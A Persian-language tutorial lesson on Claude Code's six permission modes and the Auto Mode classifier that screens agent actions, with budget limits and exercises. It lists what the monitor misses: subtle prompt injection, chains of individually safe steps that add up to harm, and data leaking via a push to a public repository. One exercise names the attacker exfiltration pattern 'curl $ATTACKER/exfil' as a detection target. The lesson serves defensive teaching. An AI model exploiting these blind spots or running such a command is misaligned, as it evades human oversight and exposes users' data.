وقتی یک ایجنت خودمختار کدنویسی را روی سیستم خود اجرا میکنید، سطح دسترسی آن فراتر از یک چتبات متنی ساده است؛ دسترسی به فایلسیستم، متغیرهای محیطی، شبکه و نشستهای ترمینال، الگوی ریسک کاملاً متفاوتی ایجاد میکند. واگذاری تصمیمگیری بدون سازوکار نظارتی ممکن است منجر به تغییرات ناخواسته یا رفتارهای خارج از چارچوب پروژه شود.
در سیستمهای مهندسی مدرن مانند Claude Code، خودمختاری یک کلید صفر و یک نیست؛ بلکه در قالب یک نردبان دسترسی چندمرحلهای (از تأیید تمام اقدامات تا اجرای مستقل مشروط) پیادهسازی میشود. آشنایی با این حالتها و مکانیزم نظارتی Auto Mode به شما کمک میکند مرز دقیقی بین سرعت اجرا و ایمنی کدها ترسیم کنید.
اگر از ابزارهای ابری شرکتهایی مانند Anthropic استفاده میکنید، توجه داشته باشید که کارتهای بانکی ایرانی برای پرداخت مستقیم این سرویسها قابل استفاده نیستند و معمولاً شارژ اشتراک یا استفاده از API مستلزم روشهای واسط است. افزون بر این، دسترسی به برخی سرویسهای توسعهدهنده از IPهای داخلی گاهی دچار محدودیت است و باید پیش از پیادهسازی مسیر ارتباطی پایدار مد نظر قرار گیرد.
نردبان دسترسی — سطوح متوالی خودمختاری از «بررسی هر اقدام» تا «تأیید همهچیز» — سازوکاری است که بستر آزمایشی (harness) از طریق آن تعیین میکند یک ایجنت خودمختار چه کارهایی را میتواند بدون اجازه انجام دهد. ابزار Claude Code، که نمونهی عملی این درس است، شش حالت دسترسی را ارائه میدهد: حالت «plan» قبل از هر اقدامی اجازه میگیرد؛ حالت «default» (که در رابط کاربری با برچسب «Manual» مشخص شده) فقط برای اقدامات پرخطر تأیید میخواهد؛ حالت «acceptEdits» ویرایش فایلها را خودکار تأیید میکند اما اجرای شل را همچنان میپرسد؛ و حالت «bypassPermissions» همهچیز را چشمبسته تأیید میکند. حالت خودکار (Auto Mode) — یعنی همان سطح دسترسی
auto— تأیید دستی تکتک اقدامات را کنار میگذارد و یک مدل طبقهبند (classifier) جداگانه را جایگزین آن میکند؛ این مدل قبل از اجرای هر اقدام آن را بررسی کرده و جلوی هر کاری را که فراتر از خواستهی اولیه باشد میگیرد. سقف مجاز اقدامات نیز از طریقmax_turnsوmax_budget_usdاعمال میشود. دسترسی به حالتautoبه نوع اشتراک، فعالسازی در سطح سازمان، مدل و ارائهدهنده بستگی دارد — و Anthropic بهصراحت تأکید میکند که تکیه بر مدل طبقهبند بهتنهایی کافی نیست.
صورت مسئله
حضور یک ایجنت برنامهنویسی خودمختار روی سیستم شما، در یک دستهبندی امنیتی کاملاً مجزا قرار میگیرد. سطح حملهی آن شامل تمام بخشهایی است که دست ایجنت به آنها میرسد: فایلسیستم، شبکه، اطلاعات احراز هویت (credentials)، کلیپبورد، هر زبانهی باز مرورگر و هر ترمینال فعال. بروس اشنایر (Bruce Schneier) و متخصصان دیگر بارها بر این موضوع تأکید کردهاند: ایجنتهایی که با کامپیوتر کار میکنند صرفاً «بهروزرسانی قابلیتهای» چتباتها نیستند، بلکه ابزارهایی از جنسی نو با الگوی ریسک کاملاً جدید به حساب میآیند.
سیستم دسترسی Claude Code پاسخ Anthropic به همین دغدغه است. بهجای یک کلید سادهی «خودمختار / غیرخودمختار»، با شش حالت روبهرو هستیم که نردبانی از سطوح دسترسی را میسازند: plan ← default ← acceptEdits ← … ← bypassPermissions. هر حالت، تعادلی متفاوت میان سرعت پیشبرد کار و میزان بررسی تکتک اقدامات برقرار میکند. حالت خودکار (Auto Mode، ارائهشده در مارس 2026) یک مدل طبقهبند مستقل به سیستم اضافه میکند که تأیید اقدامات را از مسیر بحرانی (critical path) کاربر خارج میسازد: این مدل هر اقدام را پیش از اجرا بررسی کرده و از هرگونه پیشروی خارج از دامنهی درخواست جلوگیری میکند.
پرسش مهندسی این است: این سیستم چه خطاهایی را شناسایی میکند، چه مواردی از زیر دستش در میرود و هر وظیفه عملاً به چه سطحی از دسترسی نیاز دارد؟
مفاهیم پایه
شش حالت دسترسی
| حالت | رفتار | زمان استفاده |
|---|---|---|
plan |
ایجنت برنامهای پیشنهاد میدهد؛ کاربر کل برنامه را تأیید میکند؛ هر اقدام قبل از اجرا تکبهتک بررسی میشود | وظایف ناآشنا؛ کدهای حساس نزدیک به پروداکشن؛ اولین بار استفاده از ایجنت روی یک مخزن کد |
default |
در رابط کاربری «Manual» نامیده میشود. ایجنت کارها را انجام میدهد؛ برای هر اقدام «پرخطر» (دستورات شل، عملیات تخریبی، درخواستهای شبکه) از کاربر تأیید میگیرد | بیشتر نشستهای تعاملی کدنویسی |
acceptEdits |
تغییرات فایلها خودکار تأیید میشوند؛ اجرای شل و درخواستهای شبکه همچنان نیازمند تأیید کاربر هستند | ریفکتور کردن (Refactoring) در فایلهای پرتعداد |
auto |
یک مدل طبقهبند جداگانه هر اقدام را پیش از اجرا بررسی میکند؛ هر کاری را که فراتر از درخواست باشد متوقف میسازد | اجراهای طولانی و بدوننظارت در یک محیط کاری محدود |
dontAsk |
هرگز پیامی نشان نمیدهد؛ اقداماتی که از قبل طبق قوانین دسترسی مجاز نباشند، رد میشوند | ساندباکسهای موقت، کارهای CI، اسکریپتهای پژوهشی |
bypassPermissions |
همهچیز را بیچونوچرا تأیید میکند | طبق مستندات: «فقط داخل کانتینرهای موقتی که حاضرید دور بیندازید» |
(نامهای بالا مطابق مستندات رسمی Claude Code هستند؛ رابط کاربری حالت default را با عنوان «Manual» نشان میدهد.)
خلاصهی حالت خودکار (Auto Mode)
حالت خودکار (عرضهشده در 24 مارس 2026) نخستین سطح دسترسی است که وظیفهی تأیید تکتک اقدامات را به یک مدل میسپارد. ساختار آن به این شکل است:
- مدل طبقهبند مستقل. هر اقدام پیشنهادی را پیش از اجرا، با توجه به وظیفهی مشخصشده و وضعیت فعلی نشست (session) بررسی میکند و جلوی هر اقدامی را که فراتر از خواستهی درخواست باشد میگیرد. در صورت مسدود شدن، تصمیمگیری به کاربر واگذار میشود.
- دسترسی مشروط. در دسترس بودن گزینهی
autoبه نوع اشتراک، فعال بودن در سطح سازمان، مدل انتخابی و ارائهدهنده وابسته است.
کنترلهای بودجه نیز در کنار مدل طبقهبند اعمال میشوند:
max_turns— سقف تعداد نوبتهای گفتوگو در هر نشست.max_budget_usd— سقف هزینهی دلاری که با رسیدن به آن، ادامهی نشست متوقف میشود.- سقف تعداد اقدامات به تفکیک ابزار (مثلاً حداکثر N فراخوانی
WebFetchو موارد مشابه).
آنچه سیستم شناسایی میکند
- تزریق مستقیم پرامپت (Direct prompt injection) به ورودی ابزارها، در شرایطی که دستور تزریقشده شبیه به الگوهای شناختهشدهی اقدامات پرخطر باشد.
- حلقههای تکراری ابزار — طبقهبند متوجه میشود اقدام N+1، برای پنج بار متوالی، تقریباً همان اقدام N است.
- دستورات شل کاملاً خارج از دامنه، در نشستی که ماهیت آن صرفاً ویرایش فایل بوده است.
مواردی که از چشم سیستم پنهان میمانند
- تزریقهای ظریف پرامپت که رفتار سیستم را دستکاری میکنند بدون آنکه حتی یک اقدام مشکوک ثبت شود. تزریق غیرمستقیم پرامپت (Indirect prompt injection) آسیبپذیریای نیست که بتوان آن را کاملاً وصله کرد (به نقل از سرپرست واحد آمادگی OpenAI در سال 2025 دربارهی ایجنتهای مرورگر — درس 11 را ببینید).
- رفتارهای نادرست در لایهی معنایی. تکتک اقدامات در ظاهر امن به نظر میرسند، اما ترکیب آنها مسیر مخربی را رقم میزند. طبقهبند صرفاً خود اقدام را میسنجد، نه اینکه نیت (intent) کاربر را از نو بازخوانی کند.
- درز داده از مسیرهای عادی و قانونی. نوشتن دادهها در فایلی که مالکش هستید و سپس
git pushکردن به یک مخزن عمومی، دنبالهای از کارهای کاملاً مجاز است، اما ترکیب نهایی آنها مشکلساز میشود.
نگاهی به وضعیت نسخهی پیشنمایش پژوهشی (Research Preview)
شرکت Anthropic حالت خودکار را بهعنوان پیشنمایش پژوهشی منتشر کرده است. مستندات بهوضوح میگویند که مدل طبقهبند فقط یک لایه است نه یک راهحل نهایی: کاربران باید Auto Mode را در کنار بودجهبندی، لیستهای مجاز، محیطهای کاری ایزوله و ممیزی مسیر اقدامات (درسهای 12 تا 16) به کار بگیرند. انتشار پیشنمایش همچنین بازتابی از شکاف ثبتشده میان ارزیابی و استقرار در محیط عملیاتی است (درس 1) — طبقهبندی که در ارزیابیهای آفلاین موفق عمل میکند، ممکن است در یک نشست واقعی با بستر مبهم کاربر عملکرد متفاوتی نشان دهد.
جایگاه این نردبان در جریان کاری شما
- وظیفهی ناآشنا: کار را با
planشروع کنید. خواندن و بررسی برنامه، بسیار کمهزینهتر از بازگرداندن اثرات یک اجرای اشتباه است. - بازآفرینی مشخص کد: حالت
acceptEditsشما را از کلیکهای مداوم برای تأیید بینیاز میکند. - اجرای پسزمینه بدون نظارت: از
autoتنها در محیطی استفاده کنید که شعاع تخریب آن را مشخص و مهار کرده باشید (نبود اطلاعات حساس، عدم دسترسی به دادههای پروداکشن، و مسدود بودن راههای خروج داده مگر با اجازهی صریح). - کانتینرهای موقت: استفاده از
dontAskیاbypassPermissionsفقط و فقط زمانی موجه است که کانتینر و تمام دسترسیهایش کاملاً دورریختنی باشند.
استفاده از ابزارهای واقعی
فایل code/main.py عملکرد طبقهبند ارزیابی اقدامات را در قالب یک پایپلاین (pipeline) دومرحلهای شبیهسازی میکند — این یک مدلسازی سادهشده برای آموزش است؛ چرا که حالت واقعی auto از یک مدل طبقهبند مجزا قدرت میگیرد، نه یک قرارداد دومرحلهای در مستندات. مرحلهی اول (Stage 1) یک قاعدهی سریع و ارزان کلمات کلیدی روی اقدامات پیشنهادی است؛ مرحلهی دوم (Stage 2) بررسی دقیقتر و کندتر بر اساس چند قانون است. کد اجراکننده، یک مسیر ساختگی کوتاه (شامل اقدامات امن، تلاش برای تزریق پرامپت و یک حلقهی تکراری) را اعمال میکند تا نشان دهد طبقهبند کجاها درست عمل میکند و کجاها خطا دارد.
خروجی این درس
سند outputs/skill-permission-mode-picker.md بر اساس شرح هر وظیفه، حالت دسترسی، سقف بودجه و شرایط ایزولهسازی مناسب آن را مشخص میکند.
تمرینها
-
فایل
code/main.pyرا اجرا کنید. کدام نوع اقدام ساختگی هرگز در مرحلهی اول شناسایی نمیشود اما مرحلهی دوم همیشه آن را تشخیص میدهد؟ کدام اقدام از دید هر دو مرحله پنهان میماند؟ -
قوانین مرحلهی اول را گسترش دهید تا یک الگوی مخرب مشخص (مانند
curl $ATTACKER/exfil) را شکار کند. نرخ مثبت کاذب (false-positive) آن را روی نمونههای بیخطر بسنجید. -
مستند «نحوهی کار حلقهی ایجنت» شرکت Anthropic را مطالعه کنید. تمام وضعیتهای خارجی را که ایجنت در حالت پیشفرض (
default) به آنها دست میزند فهرست کنید. پیش از اجرای خودکار در حالتauto، کدام موارد را باید جداگانه مسدود یا محدود کنید؟ -
بودجهی یک اجرای بدون نظارت 24 ساعته را طراحی کنید:
max_turns، سقف دلاریmax_budget_usd، محدودیت به تفکیک ابزار و لیستهای مجاز. ارقام انتخابی خود را توجیه کنید. -
مسیری را توصیف کنید که در آن، تکتک اقدامات توسط طبقهبند تأیید میشوند، اما کلیت رفتار سیستم نامطلوب و ناهماهنگ با هدف است. (درس 14 نشان میدهد که چگونه میتوان با سوییچهای قطع اضطراری (kill switches) و توکنهای قناری (canary tokens) این مشکل را حل کرد.)
اصطلاحات کلیدی
| اصطلاح | در گفتوگوها | معنای دقیق فنی |
|---|---|---|
| Permission mode (حالت دسترسی) | «میزان دسترسی ایجنت» | یکی از شش سیاست مشخص برای مدیریت تأیید تکتک اقدامات |
| plan mode (حالت برنامهریزی) | «قبل از هر کاری بپرس» | ایجنت برنامه مینویسد؛ کاربر پیش از اجرا آن را تأیید میکند |
| acceptEdits (پذیرش ویرایشها) | «اجازهی دستکاری فایلها» | ویرایش فایلها خودکار تأیید میشود؛ دستورات شل همچنان اجازه میخواهند |
| auto (حالت خودکار) | «تأیید خودکار» | یک مدل طبقهبند مجزا اقدامات را ارزیابی کرده و جلوی عبور از دامنهی درخواست را میگیرد |
| bypassPermissions (نادیدهگرفتن دسترسیها) | «آزادی کامل و بدون نظارت» | همهچیز بدون سؤال تأیید میشود؛ مناسب کانتینرهای یکبارمصرف |
| Stage 1 (شبیهساز) | «بررسی سریع کلمات کلیدی» | بررسی ارزان و سریع روی اقدامات پیشنهادی در code/main.py |
| Stage 2 (شبیهساز) | «بررسی عمیق» | ارزیابی کندتر و چندقانونی اقدامات نشانهگذاریشده در code/main.py |
| Research preview (پیشنمایش پژوهشی) | «هنوز نهایی نشده» | نامگذاری Anthropic برای قابلیتهایی که حالتهای شکست آنها هنوز در حال شناسایی است |
برای مطالعهی بیشتر
- Anthropic — نحوهی کار حلقهی ایجنت — حالتهای دسترسی، بودجهها و ساختار اقدامات.
- Anthropic — نگاه کلی به ایجنتهای مدیریتشدهی Claude — مدل اجرایی سرویسهای مدیریتشده.
- Anthropic — صفحهی محصول Claude Code — امکانات و معرفی Auto Mode.
- Anthropic — منشور کلود (ژانویه 2026) — لایهی استدلالی هدایتکنندهی قضاوتهای مدل طبقهبند.
- Anthropic — سنجش خودمختاری ایجنت در عمل — دیدگاه درونی دربارهی طراحی سیستمهای دسترسی برای وظایف زمانبر.
